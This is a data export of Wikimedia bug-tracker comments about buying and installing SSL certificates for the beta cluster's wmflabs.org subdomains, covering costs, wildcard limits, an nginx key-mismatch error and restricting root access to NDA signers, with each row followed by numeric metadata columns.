+Getting a delegated signing certificate is a huge deal actually. Once you have one, any certificate you sign is trusted by all who trust your upstream signer. The x509 protocol does not make it possible to construct a trusted signing certificate that is restricted to a particular domain. As such, any trusted signer who issues delegate signing certificates must impose strict practices and regular audits of those practices on any delegate organization.",,,1406914396,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,48,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+227544,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I can think of three significant problems with self-signed certificates:
+
+1. It trains people to ignore SSL warnings, which means they ignore them when it's a legit problem.
+2. It causes problems with automated tests (not clear if all of these have been worked around).
+3. It's a real pain when testing manually because you have to visit https://bits.beta.wmflabs.org/ (and maybe also upload.beta.wmflabs.org) manually in Firefox.
+
+FWIW, https://en.wikipedia.beta.wmflabs.org isn't working at all (not even invalid) right now (can't connect), but I assume that's temporary
+
+If cost is the issue, did we consider setting up our own certificate authority (chained to an existing root)?  It's an upfront cost, but as I understand it that means no per-cert cost.
+
+Google and Microsoft both have them, just to name a couple.",,,1398901677,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,35,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+227536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"This bug seems to be drifted away from the initial comment.
+(In reply to Antoine ""hashar"" Musso from comment #0)
+> We need certificates generated by 'Labs CA' for the entries listed in
+> role::protoproxy::ssl::beta and some more.  I guess the easiest would be to
+> create *.beta.wmflabs.org cert that will also contains the following DNS
+> entries:
+
+So
+
+(In reply to Greg Grossmeier from comment #91)
+> Won't Fix'ing this for now.
+> A) We have self-signed certs in place on Beta
+
+We still don't have valid self-signed certs for beta since eqiad migration as far as I know. At least nginx refuses to starts because of cert mismatch. As I was told in bug 63538 that this (certs) is handled here, I REOPEN. Please generate new (self-signed) certs.",,,1398877580,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,35,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1
+227528,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Won't Fix'ing this for now.
+
+A) We have self-signed certs in place on Beta
+B) Real certs are expensive
+C) There hasn't been any team come with a specific use case where buying the real certs would make sense.
+
+Feel free to reopen if any of the above changes.",,,1398876875,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,35,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+227523,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org," > I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one
+> level of wildcard possible). But ask RobH to make sure.
+
+Ah indeed my bad. Sorry :-]",,,1397643671,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+227515,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Antoine ""hashar"" Musso from comment #86)
+star.wmflabs.org would cover the entries:
+
+ bits.beta.wmflabs.org
+ upload.beta.wmflabs.org
+ wikidata.beta.wmflabs.org
+
+I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one level of wildcard possible). But ask RobH to make sure.",,,1397643379,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+227509,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"for *.wmflabs.org, the self-signed cert has recently been replaced with one from RapidSSL , at first the chained file, which is created by puppet was wrong, the above changes should have fixed that.",,,1397643103,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+227501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+
+https://gerrit.wikimedia.org/r/#/c/111386/
+https://gerrit.wikimedia.org/r/#/c/126008/1",,,1397643019,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+227495,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+The beta cluster has for Varnish instances with a Nginx HTTPS proxy installed.  Nginx refuses to start because the star.wmflabs.org certificate is invalid:
+
+root@deployment-cache-bits01:~# /etc/init.d/nginx start
+Starting nginx: nginx: [emerg]
+  SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"")
+  failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
+ nginx: configuration file /etc/nginx/nginx.conf test failed
+
+
+To fix it we would need a few certificates to be installed on the instances via the role::protoproxy::ssl::beta puppet class in manifests/role/protoproxy.pp
+
+star.wmflabs.org would cover the entries:
+
+ bits.beta.wmflabs.org
+ upload.beta.wmflabs.org
+ wikidata.beta.wmflabs.org
+
+We would need *.wikimedia.beta.wmflabs.org and *.wikipedia.beta.wmflabs.org certs as well.",,,1397642712,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+227489,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #84)
+> * Setup was(is?) annoying because of the lack of easy way to secure these
+> private certs from other non-WMF root labs users.
+
+I thought comment 65 and comment 67 said the ""access to private keys without an NDA"" part was solved.
+
+Antoine said he did the sudo configuration (see comment 67); I'm not sure if it's checked yet.",,,1397014720,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,32,True,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+227483,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(Lowering priority and unassigning from self)
+
+Status, afaict:
+* Price was annoying, but we've identified the 7 we want (comment 77, comment 79, and comment 83).
+* Setup was(is?) annoying because of the lack of easy way to secure these private certs from other non-WMF root labs users.
+
+Marc/RobH: Let me know if I have that wrong and if there's anything else we can do right now.",,,1396547005,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,31,True,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+227476,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"wikidata.beta.wmflabs.org might be nice, since I know a few gadgets go cross domain to it.
+
+I think the dewiki community also wanted to have de.wikipedia.beta.wmflabs.org, but unless we get a discount for buying them at one time, it would probably be good to wait until we have browser tests running against that wiki.",,,1393026432,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,25,True,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+227472,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #80)
+
+> 
+> For the avoidance of doubt: we're not doing them all, just a subset. SSL
+> certs are a racket and expensive.
+
+Oh, missed that above. Makes sense :)",,,1393024173,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+227467,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, we can't do all; we can't even reasonably all the necessary wildcards to cover the whole matrix.
+
+I have six now; any more?",,,1393024132,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0
+227461,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Kunal Mehta (Legoktm) from comment #78)
+> http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full
+> list.
+
+For the avoidance of doubt: we're not doing them all, just a subset. SSL certs are a racket and expensive.",,,1393023963,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+227455,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,http://commons.wikimedia.beta.wmflabs.org/ is important,,,1393023530,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+227447,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full list.
+
+There are some weird ones like 'ee-prototype'.",,,1393023457,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+227440,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"login.wikipedia.beta.wmflabs.org
+meta.wikipedia.beta.wmflabs.org
+en.wikipedia.beta.wmflabs.org
+bits.beta.wmflabs.org
+upload.beta.wmflabs.org (for some icons on meta/login)
+
+That's all I can see from the network calls.
+
+Antoine/Chris/Chris: confirm?",,,1393023342,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+227434,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Because of the necessity to have a default CA sign this, we need to buy individual certificates.  Please provide a definite list of domain names, and I'll get that ball rolling.",,,1393019538,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+227427,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we do want it, on a limited set of subdomains to keep the cost down.
+
+Beta's:
+- loginwiki (so we can check SUL interactions)
+- metawiki (so OAuth works correctly and securely)
+- another wiki, maybe enwiki? (to catch other SUL login/wgSecureLogin issues)
+- Oh, and to make enwiki work, the bits domain would also need a cert",,,1390496204,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+227419,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We have stopped running browser tests over https. 
+
+I think we still want SSL for labs, but I don't know of anyone actively working on that right now.",,,1390487679,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,21,True,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+227413,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #72)
+> Still highest priority.  We want to get that done while I am in SF, hopefully
+> this afternoon (PST time).
+
+Sorry, was referring to another bug :-/
+
+
+Regarding SSL certificates on beta, I am not sure what the status is.  Maybe Greg/Chris would know.  We might have a workaround now or simply stopped running browser tests over HTTPS.",,,1390442784,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+227406,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Still highest priority.  We want to get that done while I am in SF, hopefully this afternoon (PST time).",,,1390420537,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+227397,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
+Any updates (or should this not be highest priority)?",,,1390406116,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,0
+227388,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Would it be an option to flatten our subdomains?
+
+We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate
+
+(at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)
+
+For example:
+
+* beta.wmflabs.org
+* bits.beta.wmflabs.org
+* wikimedia.beta.wmflabs.org
+* commons-wikimedia.beta.wmflabs.org
+* wikipedia.beta.wmflabs.org
+* en-wikipedia.beta.wmflabs.org
+* nl-wikibooks.beta.wmflabs.org
+* en-m-wikibooks.beta.wmflabs.org
+* en-m-wikinews.beta.wmflabs.org",,,1387423868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+227379,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Reason in comment 16 is past (testing of new default HTTPS access), but warning message in Selenium probably still justifies highest prio? (for four months now)
+
+(In reply to comment #68)
+> The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116
+
+To summarize the RT ticket: Prices offered by SSL vendors felt out of scope.
+
+Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
+Any updates?",,,1387200913,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,15,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1
+227373,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Buying certs is pending approval according to RobH a few days ago.  The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116,,,1384430488,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,11,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+227370,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+I have cleaned up permissions on the deployment-prep labs project (ie: beta cluster).
+
+The project admins are now limited to people from the Wikimedia ops and mw-core teams.
+
+Root access has been limited to people having signed a non disclosure agreement with Wikimedia.
+
+
+The reason for this change is to let us put real SSL certificates on the Varnish caches which would let us support HTTPS on the beta cluster.  We want to keep access to the certificates restricted, hence the change.
+
+
+Please review the list of admins and sudo policy for the deployment-prep project on:
+
+https://wikitech.wikimedia.org/wiki/Special:NovaProject
+https://wikitech.wikimedia.org/wiki/Special:NovaSudoer",,,1383836540,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+227365,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"> 1. Remove projectadmin permissions from volunteers
+
+I also just removed TheDJ since he didn't have an NDA on file and he didn't respond to my email asking if he wanted to sign one.
+
+> 2. Clean up sudo policies to disallow root on varnish systems (that will have
+> real certs)
+
+Apparently the sudo policies are set up at https://wikitech.wikimedia.org/wiki/Special:NovaSudoer. It looks like most of them have sudo enabled for ""ALL"" hosts. I imagine disabling their root privileges on varnish systems just entails unchecking some of these hosts. Unfortunately, I'm not sure which of these hosts are varnish systems. Is it all 4 of the deployment-cache hosts? Any others?
+
+> 3. Buy * certs
+
+Good to hear that's in progress.",,,1383677201,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,9,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+227360,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
+> Summary of IRC conversation:
+> 
+> 1. Remove projectadmin permissions from volunteers
+
+{{DONE}}, see list of members at: https://wikitech.wikimedia.org/wiki/Nova_Resource:Deployment-prep
+
+> 2. Clean up sudo policies to disallow root on varnish systems (that will have
+> real certs)
+
+Not sure what needs to happen here. Tips/Pointers? I think Antoine had some ideas?
+
+> 3. Buy * certs
+
+In progress: https://rt.wikimedia.org/Ticket/Display.html?id=6116",,,1383162153,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,9,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+227355,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So I took the bug thinking the cert was blocking everything, however that is not the case.
+
+I will handle the purchase of the certificate, but I am not claiming any ownership over any other part of this process =]
+
+We get purchase approvals within our closed ticketing system, RT#6116.  (I've set Hashar as requestor for that ticket.)  Once its purchased I'll post in here as well.",,,1383072339,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+227351,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,unassigning from Ryan to reflect reality.,,,1383070552,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+227345,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
+> 2. Clean up sudo policies to disallow root on varnish systems (that will have
+> real certs)
+
+I assume this means that non-admins should not have sudo on these machines?",,,1383070383,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+227338,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #58)
+> Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need
+> to be taken, and they can be taken by anyone that has projectadmin in
+> deployment-prep. Someone needs to take ownership of this situation and run
+> with it.
+
